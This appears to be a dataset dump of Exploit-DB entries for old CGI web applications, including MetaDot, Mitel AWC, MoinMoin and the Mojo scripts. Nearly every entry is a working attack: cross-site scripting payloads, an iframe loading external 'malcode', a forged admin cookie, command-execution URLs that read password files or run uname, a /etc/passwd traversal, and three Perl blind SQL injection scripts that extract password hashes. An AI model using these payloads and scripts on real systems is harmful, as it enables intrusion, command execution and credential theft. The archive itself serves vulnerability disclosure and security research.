deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23550
Description: MetaDot Portal Server 5.6.x - 'index.pl' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2004-01-16
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9439/info
  
A number of vulnerabilities have been found in all version of MetaDot Corporation's MetaDot Portal Server. Due to a failure of the software to properly validate user input, an attacker may be able to corrupt data, force the server to disclose system configuration information or initiate cross-site scripting.

/index.pl?isa=XSS<iframe%20src=http://www.example.com/malcode>
/index.pl?iid='"><iframe%20src=http://www.exmaple.com/malcode>
Exploit-DB #23548
Description: MetaDot Portal Server 5.6.x - 'index.pl' Multiple SQL Injections
Type: webapps
Platform: cgi
Date: 2004-01-16
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9439/info

A number of vulnerabilities have been found in all version of MetaDot Corporation's MetaDot Portal Server. Due to a failure of the software to properly validate user input, an attacker may be able to corrupt data, force the server to disclose system configuration information or initiate cross-site scripting.

/index.pl?id=[Evil_Query]
/index.pl?iid=[Evil_Query]
/index.pl?isa=Session&op=auto_login&new_user=&key=[Evil_Query]
Exploit-DB #23551
Description: MetaDot Portal Server 5.6.x - 'userchannel.pl?op' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-01-16
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9439/info
   
A number of vulnerabilities have been found in all version of MetaDot Corporation's MetaDot Portal Server. Due to a failure of the software to properly validate user input, an attacker may be able to corrupt data, force the server to disclose system configuration information or initiate cross-site scripting.

/userchannel.pl?id=435&isa=NewsChannel&redirect=1&op="><iframe%20src=http://www.example.com/malcode>
Exploit-DB #23549
Description: MetaDot Portal Server 5.6.x - index.pl Information Disclosure
Type: webapps
Platform: cgi
Date: 2004-01-16
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/9439/info
 
A number of vulnerabilities have been found in all version of MetaDot Corporation's MetaDot Portal Server. Due to a failure of the software to properly validate user input, an attacker may be able to corrupt data, force the server to disclose system configuration information or initiate cross-site scripting.

/index.pl?iid=[ValidID]&isa=Discussion&op=
Exploit-DB #21553
Description: Mewsoft NetAuction 3.0 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-06-14
Author: windows-1256

Exploit:
source: https://www.securityfocus.com/bid/5023/info

NetAuction does not filter HTML code from URI parameters, making it prone to cross-site scripting attacks. Attacker-supplied HTML code may be included in a malicious links. The attacker-supplied HTML code will be executed in the browser of a web user who visits this link, in the security context of the host running NetAuction. Such a link might be included in a HTML e-mail or on a malicious webpage.

http://www.xxxx.com/cgi-bin/auction/auction.cgi?action=Sort_Page&View=Search
&Page=0&Cat_ID=&Lang=English&Search=All&Terms=<script>alert('OopS');</script>&
Where=&Sort=Photo&Dir=
Exploit-DB #27620
Description: Microsoft FrontPage - Server Extensions Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-04-11
Author: Esteban Martinez Fayo

Exploit:
source: https://www.securityfocus.com/bid/17452/info

Microsoft FrontPage Server Extensions are prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before it is rendered to other users. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user, with the privileges of the victim userâ??s account. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

<form action=http://www.example.com/_vti_bin/_vti_adm/fpadmdll.dll method="POST">
<input type="hidden" name="operation" value="--><script>alert()</script>">
<input type="hidden" name="action" value="none">
<input type="hidden" name="port" value="/LM/W3SVC/1:">
<input type="submit" name="page" value="healthrp.htm">
</form>
Exploit-DB #8987
Description: MIDAS 1.43 - (Authentication Bypass) Insecure Cookie Handling
Type: webapps
Platform: cgi
Date: 2009-06-22
Author: HxH

Exploit:
--------------------------------------------

MIDAS Insecure Cookie Handling Vulnerability

--------------------------------------------

Author.: HxH

Contact: HxH[at]live[dot]at

---------------------------

Script.: MIDAS

Home...: http://mid.as

-------------------------------------------------------------------------------------------------

Exploit: javascript:document.cookie="MIDAS=admin|Administrator|1|data0n9a|en-US|Default; path=/";

Note...: After make cookie go direct to http://[website]/[script]/level1.pl?x=0

-------------------------------------------------------------------------------------------------

Demo...: http://demo.mid.as

Panel..: http://demo.mid.as/level1.pl?x=0

-----------------------------------------

Greetz.: ~ Jiko ~ Sniper Code

-----------------------------

# milw0rm.com [2009-06-22]
Exploit-DB #22545
Description: Mike Bobbitt Album.PL 0.61 - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2003-04-26
Author: aresu@bosen.net

Exploit:
source: https://www.securityfocus.com/bid/7444/info

A remote command execution vulnerability has been reported for Album.pl. The vulnerability reportedly exists when alternate configuration files are used.

The precise technical details of this vulnerability are currently unknown. This BID will be updated as further information is available.

#!/usr/bin/perl -w

use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
$| = 1;

if (!$ARGV[0] && !$ARGV[1])
{
	print "\n Usage: perl $0 <album_uri> \"<command>\" \n\n";
	exit;
}

$command="$ARGV[0]?configfile=$ARGV[1]|";

my $conn=LWP::UserAgent->new();
my $data=HTTP::Request->new(GET => $command);
my $result=$conn->request($data);
if ($result->is_error())
{
	printf " %s\n", $result->status_line;
}
else
{
	print "Success: $result\n";
}
Exploit-DB #15807
Description: Mitel AWC - Command Execution
Type: webapps
Platform: cgi
Date: 2010-12-22
Author: Procheckup

Exploit:
http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-14

PR10-14 Unauthenticated command execution within Mitel's AWC (Mitel
Audio and Web Conferencing)

Advisory publicly released: Tuesday, 21 December 2010
Vulnerability found: Wednesday, 21 July 2010
Vendor informed: Monday, 26 July 2010
Severity level: High/Critical
Credits
Jan Fry of ProCheckUp Ltd (www.procheckup.com)
Description
Mitel Audio and Web Conferencing (AWC) is a simple, cost-effective and
scalable audio and web conferencing solution supporting upto 200 ports.
http://www.mitel.com/DocController?documentId=26451
ProCheckUp has discovered that the AWC web user interface is vulnerable
to an unauthenticated command execution attack.
Proof of concept
The following demonstrate the command execution flaw:

1) Vulnerable to command execution

To read the user password file
http://target-domain.foo/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26cat
%20%22/usr/awc/www/users%22%26

To perform a directory listing
http://target-domain.foo/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26ls%
20%22/usr/awc/www/cgi-bin/%22%26

Consequences:
Command execution allows Unix commands to be remotely executed with the
permissions associated with the web service account. No authentication
is required to exploit this vulnerability.
How to fix
Ensure that the latest patches have been installed.
References

Legal
Copyright 2010 ProCheckUp Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the
Internet community for the purpose of alerting them to problems, if and
only if, the Bulletin is not edited or changed in any way, is attributed
to Procheckup, and provided such reproduction and/or distribution is
performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not
liable for any misuse of this information by any third party.
Exploit-DB #51308
Description: Mitel MiCollab AWV 8.1.2.4 and 9.1.3 - Directory Traversal and LFI
Type: webapps
Platform: cgi
Date: 2023-04-06
Author: Kahvi-0

Exploit:
# Exploit Title: Mitel MiCollab AWV 8.1.2.4 and 9.1.3 - Directory Traversal and LFI
# Date: 2022-10-14
# Fix Date: 2020-05
# Exploit Author: Kahvi-0
# Github: https://github.com/Kahvi-0
# Vendor Homepage: https://www.mitel.com/
# Vendor Security Advisory: https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-20-0005
# Version: before 8.1.2.4 and 9.x before 9.1.3
# CVE: CVE-2020-11798
# CVE Reported By: Tri Bui



Description:

A Directory Traversal vulnerability in the web conference component of Mitel MiCollab AWV before 8.1.2.4 and 9.x before 9.1.3 could allow an attacker to access arbitrary files from restricted directories of the server via a crafted URL, due to insufficient access validation. A successful exploit could allow an attacker to access sensitive information from the restricted directories

Payload:

https://[site]/awcuser/cgi-bin/vcs_access_file.cgi?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd
Exploit-DB #26256
Description: MIVA Merchant 5 - Merchant.MVC Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-09-14
Author: admin@hyperconx.com

Exploit:
source: https://www.securityfocus.com/bid/14828/info

MIVA Merchant 5 is prone to a cross-site scripting vulnerability.This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/mm5/merchant.mvc&Screen=ACNT&Action=EMPW&Customer_Login="><script>document.write("\n<br><input%20type=text%20name=somenewfield%20value='Hello%20World'>")</script>
Exploit-DB #34223
Description: Miyabi CGI Tools 1.02 - 'index.pl' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2010-06-29
Author: Marshall Whittaker

Exploit:
source: https://www.securityfocus.com/bid/41228/info

Miyabi CGI Tools is prone to a vulnerability that attackers can leverage to execute arbitrary commands in the context of the application. This issue occurs because the application fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected application and possibly the underlying computer.

Miyabi CGI Tools 1.02 is vulnerable; other versions may also be affected.

http://www.example.com/index.pl?mode=html&fn=|uname%20-a|
Exploit-DB #32746
Description: MoinMoin 1.8 - 'AttachFile.py' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2009-01-20
Author: SecureState

Exploit:
source: https://www.securityfocus.com/bid/33365/info

MoinMoin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to MoinMoin 1.8.1 are vulnerable.

http://www.example.com/moinmoin/WikiSandBox?rename="><script>alert('rename xss')</script>&action=AttachFile&drawing="><script>alert('drawing xss')</script>
Exploit-DB #34080
Description: MoinMoin 1.x - 'PageEditor.py' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2010-06-03
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/40549/info

MoinMoin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MoinMoin 1.9.2 and prior are vulnerable. 

http://www.exmaple.com/NonExistantUser?action=edit?template=<script>alert(document.cookie);</script>
Exploit-DB #21962
Description: Mojo Mail 2.7 - Email Form Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-10-24
Author: Daniel Boland

Exploit:
source: https://www.securityfocus.com/bid/6040/info

Mojo Mail does not filter HTML tags from URI parameters, making it prone to cross-site scripting attacks.

As a result, it is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user, in the context of the website running Mojo Mail.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. 

http://www.example.com/cgi-bin/mojo/mojo.cgi?flavor=subscribe&email=%3Cscript%3Ealert%28%22XSS%20Vuln.%22%29%3C%2Fscript%3E&list=skazat_design_newsletter&submit=Submit
Exploit-DB #6111
Description: MojoAuto - Blind SQL Injection
Type: webapps
Platform: cgi
Date: 2008-07-21
Author: Mr.SQL

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #################### Viva IslaMe Viva IslaMe ################\n";
  print "   #   MojoAuto Blind SQL Injection Exploit             #\n";
  print "   #                                (mojoAuto.cgi mojo ) #\n";
  print "   #   Author: Mr.SQL                                          #\n";
  print "   #   EMAIL : SQL@HOTMAIL.IT                                  #\n";
  print "   #                                                           #\n";
  print "   #                -((:: GrE3E3E3E3E3ETZ ::))-                #\n";
  print "   #                                                           #\n";
  print "   #   HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab  #\n";
  print "   #                :: ALwHeD :: milw0rm ::                    #\n";
  print "   #                                                           #\n";
  print "   #              <<>>   MuSliMs HaCkErS   <<>>                #\n";
  print "   #                                                           #\n";
  print "   #   HOME:    WwW.PaL-HaCkEr.CoM                             #\n";
  print "   #                                                           #\n";
  print "   #   Usage  : perl test.pl host                              #\n";
  print "   #   Example: perl test.pl www.host.com / -d 10              #\n";
  print "   #   Options:                                                #\n";
  print "   #     -d    valid cat_a  value                              #\n";
  print "   #############################################################\n";
  exit;
}
my $host     = $ARGV[0];
my $cat_a      = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...\n";
if($options{"b"})
{
  $mojo = $options{"b"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $cat_a, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $cat_a, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host    = shift;
  my $cat_a     = shift;
  my $i       = shift;
  my $h       = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host."mojoAuto.cgi?mojo=1&action=browse&cat_a=".$cat_a." and (SUBSTRING((SELECT password FROM member LIMIT 0,1),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp    = $ua->get($query);
  my $content = $resp->content;
  my $regexp  = "tourterms.pdf";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2008-07-21]
Exploit-DB #6110
Description: MojoJobs - Blind SQL Injection
Type: webapps
Platform: cgi
Date: 2008-07-21
Author: Mr.SQL

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #################### Viva IslaMe Viva IslaMe ################\n";
  print "   #   MojoJobs Blind SQL Injection Exploit             #\n";
  print "   #                                (mojoJobs.cgi mojo ) #\n";
  print "   #   Author: Mr.SQL                                          #\n";
  print "   #   EMAIL : SQL@HOTMAIL.IT                                  #\n";
  print "   #                                                           #\n";
  print "   #                -((:: GrE3E3E3E3E3ETZ ::))-                #\n";
  print "   #                                                           #\n";
  print "   #   HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab  #\n";
  print "   #                :: ALwHeD :: milw0rm ::                    #\n";
  print "   #                                                           #\n";
  print "   #              <<>>   MuSliMs HaCkErS   <<>>                #\n";
  print "   #                                                           #\n";
  print "   #   HOME:    WwW.PaL-HaCkEr.CoM                             #\n";
  print "   #                                                           #\n";
  print "   #   Usage  : perl test.pl host                              #\n";
  print "   #   Example: perl test.pl www.host.com / -d 10              #\n";
  print "   #   Options:                                                #\n";
  print "   #     -d    valid cat_a  value                              #\n";
  print "   #############################################################\n";
  exit;
}
my $host     = $ARGV[0];
my $cat_a      = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...\n";
if($options{"b"})
{
  $mojo = $options{"b"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $cat_a, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $cat_a, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host    = shift;
  my $cat_a     = shift;
  my $i       = shift;
  my $h       = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host."mojoJobs.cgi?mojo=1&cat_a=".$cat_a." and (SUBSTRING((SELECT password FROM member LIMIT 0,1),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp    = $ua->get($query);
  my $content = $resp->content;
  my $regexp  = "tourterms.pdf";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2008-07-21]
Exploit-DB #6109
Description: MojoPersonals - Blind SQL Injection
Type: webapps
Platform: cgi
Date: 2008-07-21
Author: Mr.SQL

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #################### Viva IslaMe Viva IslaMe ################\n";
  print "   #   MojoPersonals Blind SQL Injection Exploit               #\n";
  print "   #                                (mojoClassified.cgi mojo ) #\n";
  print "   #   Author: Mr.SQL                                          #\n";
  print "   #   EMAIL : SQL@HOTMAIL.IT                                  #\n";
  print "   #                                                           #\n";
  print "   #                -((:: GrE3E3E3E3E3ETZ ::))-                #\n";
  print "   #                                                           #\n";
  print "   #   HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab  #\n";
  print "   #                :: ALwHeD :: milw0rm ::                    #\n";
  print "   #                                                           #\n";
  print "   #              <<>>   MuSliMs HaCkErS   <<>>                #\n";
  print "   #                                                           #\n";
  print "   #   HOME:    WwW.PaL-HaCkEr.CoM                             #\n";
  print "   #                                                           #\n";
  print "   #   Usage  : perl test.pl host                              #\n";
  print "   #   Example: perl test.pl www.host.com / -d 10              #\n";
  print "   #   Options:                                                #\n";
  print "   #     -d    valid cat  value                                #\n";
  print "   #############################################################\n";
  exit;
}
my $host     = $ARGV[0];
my $cat      = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "d=i");
print "[~] Exploiting...\n";
if($options{"b"})
{
  $mojo = $options{"b"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $cat, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $cat, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host    = shift;
  my $cat     = shift;
  my $i       = shift;
  my $h       = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host."mojoClassified.cgi?mojo=1&cat=".$cat." and (SUBSTRING((SELECT password FROM member LIMIT 0,1),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp    = $ua->get($query);
  my $content = $resp->content;
  my $regexp  = "tourterms.pdf";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2008-07-21]